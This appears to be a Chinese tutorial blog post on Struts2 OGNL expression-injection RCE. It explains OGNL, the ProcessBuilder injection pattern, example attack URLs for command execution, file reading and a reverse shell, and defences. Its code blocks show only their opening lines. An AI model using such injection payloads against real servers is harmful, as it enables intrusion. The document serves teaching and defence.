Struts2 OGNL 代码执行漏洞
OGNL介绍
它的全称是 Object-Graph Navigation Language(对象图导航语言)。这个名字听起来很复杂,但拆开看就很简单:
- Object(对象):就是你在Java这类编程语言里创建的一个东西,比如一个“用户”对象,它有“姓名”、“年龄”、“地址”等属性。
- Graph(图):表示这些对象之间是互相连接的。比如,“用户”对象里的“地址”属性,本身又是一个“地址”对象,这个“地址”对象又有“城市”、“街道”等属性。这些对象连在一起,就像一个网络图。
- Navigation(导航):就是按照路径在这个网络图里找到你想要的东西。
所以,OGNL 就是一种专门用来“在对象网络里找东西”的表达式语言。
一个生动的例子
假设我们有这样一个数据结构(一个对象图):
- 有一个 用户对象(user):
- 属性
name:"张三" - 属性
age:25 - 属性
address: 它本身又是一个 地址对象(address)- 地址对象的属性
city:"北京" - 地址对象的属性
street:"王府井大街"
- 地址对象的属性
- 属性
如果没有 OGNL,在代码里你想获取用户所在的城市,你得写一堆 get 方法:user.getAddress().getCity()
有了 OGNL 这个“导航员”,你只需要告诉他一个简单的“地址”:user.address.city
OGNL 就会自动帮你一步步导航:
- 找到
user对象。 - 进入它的
address属性。 - 再进入
address里的city属性。 - 最后把值
"北京"给你取回来。
OGNL 主要能做什么?(它的超能力)
- 访问属性:就像上面的例子,
user.name、user.address.street。 - 调用方法:比如
user.getName()、list.size()。 - 访问数组和集合:比如
users[0].name(访问数组第一个用户的名字)、map['key'](访问Map中键为key的值)。 - 进行运算和逻辑判断:比如
age > 18、name == ‘张三’。 - 创建对象和赋值:动态地创建新对象并给属性赋值。
它最出名的地方:Struts2 框架的“心脏”
OGNL 之所以在网络安全领域“大名鼎鼎”,主要是因为它被深度集成在了 Apache Struts2 这个非常流行的 Java Web 开发框架中。
在 Struts2 里:
- 视图(JSP页面)用 OGNL 表达式来从后台动态获取数据并显示。
- 框架内部用 OGNL 来将用户提交的表单数据,自动设置到后台的 Java 对象属性中。
这就导致了安全问题:
因为 OGNL 功能太强大了(既能读数据,又能写数据,还能执行方法),如果开发者的代码写得有漏洞(比如对用户输入没有严格过滤),攻击者就可以构造一个恶意的 OGNL 表达式,让服务器去执行。
著名的 Struts2 OGNL 漏洞
历史上很多严重的 Struts2 远程代码执行(RCE)漏洞,其根源都是因为攻击者可以注入并执行恶意的 OGNL 表达式。一旦成功,攻击者就几乎可以在服务器上为所欲为,比如:
- 执行系统命令。
- 删除、读取服务器上的文件。
- 植入后门程序。
漏洞原理分析
1. 正常 OGNL 表达式执行
1 | http://host/struts2-blank/example/X.action?action:%25(3*4) |
%25是 URL 编码的%字符%(3*4)实际是#{3*4}(OGNL 表达式)- Struts2 会执行这个表达式并返回结果
12
2. 恶意代码执行
1 | http://host/struts2-showcase/employee/save.action?redirect:%25{ |
分解说明:
%25{→#{(OGNL 表达式开始)new+java.lang.ProcessBuilder→ 创建 ProcessBuilder 对象(+是空格编码)new+java.lang.String[]{'command','goes','here'}→ 创建命令参数数组.start()→ 执行命令
漏洞产生原因
Struts2 的工作机制:
1 | // 类似这样的代码在 Struts2 内部执行 |
具体漏洞点:
- 参数解析时直接执行 OGNL
- 缺乏足够的输入验证和过滤
- OGNL 沙箱绕过
实际攻击示例
1. 执行系统命令
1 | http://example.com/struts2-app/login.action?username=%25{ |
2. 文件读取
1 | http://example.com/struts2-app/login.action?password=%25{ |
3. 反弹 Shell
1 | http://example.com/struts2-app/login.action?redirect=%25{ |
防御措施
1. 升级 Struts2 版本
1 | <!-- 使用安全版本的 Struts2 --> |
2. 配置安全拦截器
1 | <struts> |
3. 输入验证
1 | public class SafeParametersInterceptor extends ParametersInterceptor { |
检测方法
1. 安全扫描
1 | # 使用专门工具检测 |
2. 手动测试
1 | # 测试是否存在漏洞 |
总结
这个漏洞展示了:
- OGNL 表达式的强大与危险
- 用户输入直接作为代码执行的后果
- 框架安全配置的重要性
- 为什么永远不要信任用户输入
这种漏洞是 Web 应用中最危险的类型之一,因为攻击者可以完全控制服务器。对于使用 Struts2 的应用,必须及时更新补丁并实施严格的安全措施。